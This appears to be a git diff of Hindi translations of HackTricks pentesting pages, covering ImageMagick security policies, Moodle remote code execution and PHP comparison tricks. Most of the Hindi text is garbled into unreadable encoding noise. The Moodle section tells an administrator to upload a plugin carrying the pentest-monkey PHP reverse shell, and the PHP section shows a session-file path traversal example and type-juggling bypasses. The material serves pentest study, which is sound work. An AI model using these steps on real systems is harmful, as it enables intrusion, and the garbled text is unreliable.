рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреА рдХрдореА рд╣реИред рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдХреНрд╕рд░ рдЗрдВрдЯрд░рдиреЗрдЯ рдХреЗ рдЯреБрдХрдбрд╝реЛрдВ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдиреАрддрд┐рдпрд╛рдБ рдмрдирд╛рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдкреБрд╕реНрддрдХрд╛рд▓рдп 100 рд╕реЗ рдЕрдзрд┐рдХ рдЫрд╡рд┐ рдкреНрд░рд╛рд░реВрдкреЛрдВ рдХреА рдПрдХ рд╡рд┐рд╢рд╛рд▓ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЗрд╕рдХреА рдЬрдЯрд┐рд▓рддрд╛ рдФрд░ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдпреЛрдЧрджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рдРрддрд┐рд╣рд╛рд╕рд┐рдХ рд╕реБрд░рдХреНрд╖рд╛ рдШрдЯрдирд╛рдУрдВ рд╕реЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рд╣реЛрддрд╛ рд╣реИред ## рд╕реБрд░рдХреНрд╖рд┐рдд рдиреАрддрд┐рдпреЛрдВ рдХреА рдУрд░ -рдЗрди рдЪреБрдиреМрддрд┐рдпреЛрдВ рдХрд╛ рд╕рдорд╛рдзрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ [рдЙрдкрдХрд░рдг рд╡рд┐рдХрд╕рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ](https://imagemagick-secevaluator.doyensec.com/) рдЬреЛ ImageMagick рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐рдпреЛрдВ рдХреЛ рдбрд┐рдЬрд╛рдЗрди рдФрд░ рдСрдбрд┐рдЯ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдЙрдкрдХрд░рдг рд╡реНрдпрд╛рдкрдХ рдЕрдиреБрд╕рдВрдзрд╛рди рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ рдФрд░ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХрд╛ рд▓рдХреНрд╖реНрдп рд░рдЦрддрд╛ рд╣реИ рдХрд┐ рдиреАрддрд┐рдпрд╛рдБ рди рдХреЗрд╡рд▓ рдордЬрдмреВрдд рд╣реЛрдВ рдмрд▓реНрдХрд┐ рдЙрди рдЫрд┐рджреНрд░реЛрдВ рд╕реЗ рднреА рдореБрдХреНрдд рд╣реЛрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдЗрди рдЪреБрдиреМрддрд┐рдпреЛрдВ рдХрд╛ рд╕рдорд╛рдзрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ [рдЙрдкрдХрд░рдг рд╡рд┐рдХрд╕рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ](https://imagemagick-secevaluator.doyensec.com/) рдЬреЛ ImageMagick рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐рдпреЛрдВ рдХреЛ рдбрд┐рдЬрд╛рдЗрди рдФрд░ рдСрдбрд┐рдЯ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдЙрдкрдХрд░рдг рд╡реНрдпрд╛рдкрдХ рд╢реЛрдз рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ рдФрд░ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХрд╛ рд▓рдХреНрд╖реНрдп рд░рдЦрддрд╛ рд╣реИ рдХрд┐ рдиреАрддрд┐рдпрд╛рдБ рди рдХреЗрд╡рд▓ рдордЬрдмреВрдд рд╣реЛрдВ рдмрд▓реНрдХрд┐ рдЙрди рдЫрд┐рджреНрд░реЛрдВ рд╕реЗ рднреА рдореБрдХреНрдд рд╣реЛрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред ## рдЕрдиреБрдорддрд┐ рд╕реВрдЪреА рдмрдирд╛рдо рдирд┐рд╖реЗрдз рд╕реВрдЪреА рджреГрд╖реНрдЯрд┐рдХреЛрдг -рдРрддрд┐рд╣рд╛рд╕рд┐рдХ рд░реВрдк рд╕реЗ, ImageMagick рдиреАрддрд┐рдпрд╛рдБ рдПрдХ рдирд┐рд╖реЗрдз рд╕реВрдЪреА рджреГрд╖реНрдЯрд┐рдХреЛрдг рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рдереАрдВ, рдЬрд╣рд╛рдБ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХреЛрдбрд░реНрд╕ рдХреЛ рдкрд╣реБрдБрдЪ рд╕реЗ рд╡рдВрдЪрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐, ImageMagick 6.9.7-7 рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдиреЗ рдЗрд╕ рдкреИрд░реЗрдбрд╛рдЗрдо рдХреЛ рдмрджрд▓ рджрд┐рдпрд╛, рдЬрд┐рд╕рд╕реЗ рдЕрдиреБрдорддрд┐ рд╕реВрдЪреА рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЛ рд╕рдХреНрд╖рдо рдХрд┐рдпрд╛ рдЧрдпрд╛ред рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдкрд╣рд▓реЗ рд╕рднреА рдХреЛрдбрд░реНрд╕ рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдЪрдпрдирд╛рддреНрдордХ рд░реВрдк рд╕реЗ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХреЛрдбрд░реНрд╕ рдХреЛ рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рд╕реНрдерд┐рддрд┐ рдореЗрдВ рд╕реБрдзрд╛рд░ рд╣реЛрддрд╛ рд╣реИред +рдРрддрд┐рд╣рд╛рд╕рд┐рдХ рд░реВрдк рд╕реЗ, ImageMagick рдиреАрддрд┐рдпрд╛рдБ рдПрдХ рдирд┐рд╖реЗрдз рд╕реВрдЪреА рджреГрд╖реНрдЯрд┐рдХреЛрдг рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рдереАрдВ, рдЬрд╣рд╛рдБ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХреЛрдбрд░реНрд╕ рдХреЛ рдкрд╣реБрдБрдЪ рд╕реЗ рд╡рдВрдЪрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐, ImageMagick 6.9.7-7 рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдиреЗ рдЗрд╕ рдкреИрд░рд╛рдЬрд╛рдЗрдо рдХреЛ рдмрджрд▓ рджрд┐рдпрд╛, рдЬрд┐рд╕рд╕реЗ рдЕрдиреБрдорддрд┐ рд╕реВрдЪреА рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЛ рд╕рдХреНрд╖рдо рдХрд┐рдпрд╛ рдЧрдпрд╛ред рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдкрд╣рд▓реЗ рд╕рднреА рдХреЛрдбрд░реНрд╕ рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХреЛрдбрд░реНрд╕ рдХреЛ рдЪрдпрдирд╛рддреНрдордХ рд░реВрдк рд╕реЗ рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рд╕реБрд░рдХреНрд╖рд╛ рд╕реНрдерд┐рддрд┐ рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИред ```xml ... @@ -21,7 +21,7 @@ ImageMagick, рдПрдХ рдмрд╣реБрдкрд░рдХрд╛рд░реА рдЫрд╡рд┐ рдкреНрд░рд╕рдВрд╕реН ``` ## рдиреАрддрд┐рдпреЛрдВ рдореЗрдВ рдХреЗрд╕ рд╕рдВрд╡реЗрджрдирд╢реАрд▓рддрд╛ -рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ ImageMagick рдореЗрдВ рдиреАрддрд┐ рдкреИрдЯрд░реНрди рдХреЗрд╕ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдиреАрддрд┐рдпреЛрдВ рдореЗрдВ рдХреЛрдбрд░реНрд╕ рдФрд░ рдореЙрдбреНрдпреВрд▓ рдХреЛ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдЕрдкрд░-рдХреИрд╕реНрдб рдХрд░рдирд╛ рдЕрдирд┐рд╡рд╛рд░реНрдп рд╣реИ рддрд╛рдХрд┐ рдЕрдирдкреЗрдХреНрд╖рд┐рдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред +рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ ImageMagick рдореЗрдВ рдиреАрддрд┐ рдкреИрдЯрд░реНрди рдХреЗрд╕ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдиреАрддрд┐рдпреЛрдВ рдореЗрдВ рдХреЛрдбрд░реНрд╕ рдФрд░ рдореЙрдбреНрдпреВрд▓ рдХреЛ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдЕрдкрд░-рдХреЗрд╕ рдХрд░рдирд╛ рдЕрдирд┐рд╡рд╛рд░реНрдп рд╣реИ рддрд╛рдХрд┐ рдЕрдирдкреЗрдХреНрд╖рд┐рдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред ## рд╕рдВрд╕рд╛рдзрди рд╕реАрдорд╛рдПрдБ @@ -29,18 +29,18 @@ ImageMagick, рдПрдХ рдмрд╣реБрдкрд░рдХрд╛рд░реА рдЫрд╡рд┐ рдкреНрд░рд╕рдВрд╕реН ## рдиреАрддрд┐ рд╡рд┐рдЦрдВрдбрди -рдиреАрддрд┐рдпрд╛рдБ рд╡рд┐рднрд┐рдиреНрди ImageMagick рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рдореЗрдВ рд╡рд┐рдЦрдВрдбрд┐рдд рд╣реЛ рд╕рдХрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд рд╕рдВрдШрд░реНрд╖ рдпрд╛ рдУрд╡рд░рд░рд╛рдЗрдб рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рд╕рдХреНрд░рд┐рдп рдиреАрддрд┐ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдФрд░ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИ: +рдиреАрддрд┐рдпрд╛рдБ рд╡рд┐рднрд┐рдиреНрди ImageMagick рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рдореЗрдВ рд╡рд┐рдЦрдВрдбрд┐рдд рд╣реЛ рд╕рдХрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд рд╕рдВрдШрд░реНрд╖ рдпрд╛ рдУрд╡рд░рд░рд╛рдЗрдб рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рд╕рдХреНрд░рд┐рдп рдиреАрддрд┐ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдФрд░ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИ: ```shell $ find / -iname policy.xml ``` -## рдПрдХ рдкреНрд░рд╛рд░рдВрднрд┐рдХ, рдкреНрд░рддрд┐рдмрдВрдзрд╛рддреНрдордХ рдиреАрддрд┐ +## A Starter, Restrictive Policy -рдПрдХ рдкреНрд░рддрд┐рдмрдВрдзрд╛рддреНрдордХ рдиреАрддрд┐ рдЯреЗрдореНрдкрд▓реЗрдЯ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рд╕рдЦреНрдд рд╕рдВрд╕рд╛рдзрди рд╕реАрдорд╛рдУрдВ рдФрд░ рдкрд╣реБрдВрдЪ рдирд┐рдпрдВрддреНрд░рдгреЛрдВ рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИред рдпрд╣ рдЯреЗрдореНрдкрд▓реЗрдЯ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЗ рд╕рд╛рде рд╕рдВрд░реЗрдЦрд┐рдд рдЕрдиреБрдХреВрд▓рд┐рдд рдиреАрддрд┐рдпреЛрдВ рдХреЗ рд╡рд┐рдХрд╛рд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рдЖрдзрд╛рд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред +рдПрдХ рдкреНрд░рддрд┐рдмрдВрдзрд╛рддреНрдордХ рдиреАрддрд┐ рдЯреЗрдореНрдкрд▓реЗрдЯ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рдХрдбрд╝реЗ рд╕рдВрд╕рд╛рдзрди рд╕реАрдорд╛рдУрдВ рдФрд░ рдкрд╣реБрдВрдЪ рдирд┐рдпрдВрддреНрд░рдгреЛрдВ рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИред рдпрд╣ рдЯреЗрдореНрдкрд▓реЗрдЯ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЗ рд╕рд╛рде рд╕рдВрд░реЗрдЦрд┐рдд рдЕрдиреБрдХреВрд▓рд┐рдд рдиреАрддрд┐рдпреЛрдВ рдХреЗ рд╡рд┐рдХрд╛рд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рдЖрдзрд╛рд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред -рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ рдХреА рдкреНрд░рднрд╛рд╡рд╢реАрд▓рддрд╛ рдХреЛ ImageMagick рдореЗрдВ `identify -list policy` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреБрд╖реНрдЯрд┐ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдкрд╣рд▓реЗ рдЙрд▓реНрд▓реЗрдЦрд┐рдд [evaluator tool](https://imagemagick-secevaluator.doyensec.com/) рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдиреАрддрд┐ рдХреЛ рдкрд░рд┐рд╖реНрдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ рдХреА рдкреНрд░рднрд╛рд╡рд╢реАрд▓рддрд╛ рдХреЛ ImageMagick рдореЗрдВ `identify -list policy` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреБрд╖реНрдЯрд┐ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдкрд╣рд▓реЗ рдЙрд▓реНрд▓реЗрдЦрд┐рдд [evaluator tool](https://imagemagick-secevaluator.doyensec.com/) рдХрд╛ рдЙрдкрдпреЛрдЧ рдиреАрддрд┐ рдХреЛ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдкрд░рд┐рд╖реНрдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -## рд╕рдВрджрд░реНрдн +## References -- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html\*\*](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) +- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md index 5e8b473cf..18e56ca79 100644 --- a/src/network-services-pentesting/pentesting-web/moodle.md +++ b/src/network-services-pentesting/pentesting-web/moodle.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Automatic Scans +## рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╕реНрдХреИрди ### droopescan ```bash @@ -66,13 +66,13 @@ cmsmap http://moodle.example.com/ ## **RCE** -рдЖрдкрдХреЛ **рдкреНрд░рдмрдВрдзрдХ** рднреВрдорд┐рдХрд╛ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП рдФрд░ рдЖрдк **"Site administration"** рдЯреИрдм рдХреЗ рдЕрдВрджрд░ **рдкреНрд▓рдЧрдЗрдиреНрд╕ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**\*\*:\*\* +рдЖрдкрдХреЛ **рдкреНрд░рдмрдВрдзрдХ** рднреВрдорд┐рдХрд╛ рдореЗрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдЖрдк **"Site administration"** рдЯреИрдм рдХреЗ рдЕрдВрджрд░ **рдкреНрд▓рдЧрдЗрдиреНрд╕ рд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**: ![](<../../images/image (630).png>) -рдпрджрд┐ рдЖрдк рдкреНрд░рдмрдВрдзрдХ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ **рдЗрд╕ рд╡рд┐рдХрд▓реНрдк рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ moodle рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ PoC рдореЗрдВ рдХреИрд╕реЗ: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)ред +рдпрджрд┐ рдЖрдк рдкреНрд░рдмрдВрдзрдХ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ рдЕрднреА рднреА **рдЗрд╕ рд╡рд┐рдХрд▓реНрдк рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ moodle рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ PoC рдореЗрдВ рдХреИрд╕реЗ: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)ред -рдлрд┐рд░, рдЖрдк **рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреНрд▓рдЧрдЗрди рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рдЬрд┐рд╕рдореЗрдВ рдХреНрд▓рд╛рд╕рд┐рдХ pentest-monkey php r**ev shell** рд╣реИ (_рдЗрд╕реЗ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЖрдкрдХреЛ рдЗрд╕реЗ рдбрд┐рдХрдВрдкреНрд░реЗрд╕ рдХрд░рдирд╛ рд╣реЛрдЧрд╛, IP рдФрд░ рдкреЛрд░реНрдЯ рдХреЛ рдмрджрд▓рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдлрд┐рд░ рд╕реЗ рд╕рдВрдХреБрдЪрд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛_) +рдлрд┐рд░, рдЖрдк **рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреНрд▓рдЧрдЗрди рд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рдЬрд┐рд╕рдореЗрдВ рдХреНрд▓рд╛рд╕рд┐рдХ pentest-monkey php r**ev shell** рд╣реИ (_рдЗрд╕реЗ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЖрдкрдХреЛ рдЗрд╕реЗ рдбрд┐рдХрдВрдкреНрд░реЗрд╕ рдХрд░рдирд╛ рд╣реЛрдЧрд╛, IP рдФрд░ рдкреЛрд░реНрдЯ рдХреЛ рдмрджрд▓рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдлрд┐рд░ рд╕реЗ рд╕рдВрдХреБрдЪрд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛_) {{#file}} moodle-rce-plugin.zip diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 332701614..d29e639ec 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -2,11 +2,11 @@ {{#include ../../../banners/hacktricks-training.md}} -## Cookies рд╕рд╛рдорд╛рдиреНрдп рд╕реНрдерд╛рди: +## рдХреБрдХреАрдЬрд╝ рдХрд╛ рд╕рд╛рдорд╛рдиреНрдп рд╕реНрдерд╛рди: рдпрд╣ phpMyAdmin рдХреБрдХреАрдЬрд╝ рдХреЗ рд▓рд┐рдП рднреА рдорд╛рдиреНрдп рд╣реИред -Cookies: +рдХреБрдХреАрдЬрд╝: ``` PHPSESSID phpMyAdmin @@ -20,7 +20,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ``` ## PHP рддреБрд▓рдирд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ -### рдвреАрд▓реА рддреБрд▓рдирд╛/рдЯрд╛рдЗрдк рдЬреБрдЧрд▓рд┐рдВрдЧ ( == ) +### рдвреАрд▓реА рддреБрд▓рдирд╛/рдЯрд╛рдЗрдк рдЬреБрдЧреНрд▓рд┐рдВрдЧ ( == ) рдпрджрд┐ PHP рдореЗрдВ `==` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдХреБрдЫ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдорд╛рдорд▓реЛрдВ рдореЗрдВ рддреБрд▓рдирд╛ рдЕрдкреЗрдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдирд╣реАрдВ рдХрд░рддреА рд╣реИред рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ "==" рдХреЗрд╡рд▓ рдЙрди рдореВрд▓реНрдпреЛрдВ рдХреА рддреБрд▓рдирд╛ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╕рдорд╛рди рдкреНрд░рдХрд╛рд░ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рдпрджрд┐ рдЖрдк рдпрд╣ рднреА рддреБрд▓рдирд╛ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рддреБрд▓рдирд╛ рдХрд┐рдП рдЧрдП рдбреЗрдЯрд╛ рдХрд╛ рдкреНрд░рдХрд╛рд░ рд╕рдорд╛рди рд╣реИ, рддреЛ рдЖрдкрдХреЛ `===` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред @@ -33,17 +33,17 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf {{#endfile}} - `"string" == 0 -> True` рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдЬреЛ рд╕рдВрдЦреНрдпрд╛ рд╕реЗ рд╢реБрд░реВ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИ, рд╡рд╣ рдПрдХ рд╕рдВрдЦреНрдпрд╛ рдХреЗ рдмрд░рд╛рдмрд░ рд╣реЛрддреА рд╣реИ -- `"0xAAAA" == "43690" -> True` рд╕рдВрдЦреНрдпрд╛рдУрдВ рд╕реЗ рдмрдиреА рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдЬреЛ рджрд╢рдорд▓рд╡ рдпрд╛ рд╣реЗрдХреНрд╕ рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рд╣реИрдВ, рдЙрдиреНрд╣реЗрдВ рдЕрдиреНрдп рд╕рдВрдЦреНрдпрд╛рдУрдВ/рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЗ рд╕рд╛рде рддреБрд▓рдирд╛ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдпрджрд┐ рд╕рдВрдЦреНрдпрд╛рдПрдБ рд╕рдорд╛рди рдереАрдВ (рд╕реНрдЯреНрд░рд┐рдВрдЧ рдореЗрдВ рд╕рдВрдЦреНрдпрд╛рдПрдБ рд╕рдВрдЦреНрдпрд╛рдУрдВ рдХреЗ рд░реВрдк рдореЗрдВ рд╡реНрдпрд╛рдЦреНрдпрд╛рдпрд┐рдд рдХреА рдЬрд╛рддреА рд╣реИрдВ) +- `"0xAAAA" == "43690" -> True` рд╕рдВрдЦреНрдпрд╛рдУрдВ рд╕реЗ рдмрдиреА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдЬреЛ рджрд╢рдорд▓рд╡ рдпрд╛ рд╣реЗрдХреНрд╕ рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рд╣реЛрддреА рд╣реИ, рдЕрдиреНрдп рд╕рдВрдЦреНрдпрд╛рдУрдВ/рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЗ рд╕рд╛рде рддреБрд▓рдирд╛ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдпрджрд┐ рд╕рдВрдЦреНрдпрд╛рдПрдБ рд╕рдорд╛рди рдереАрдВ 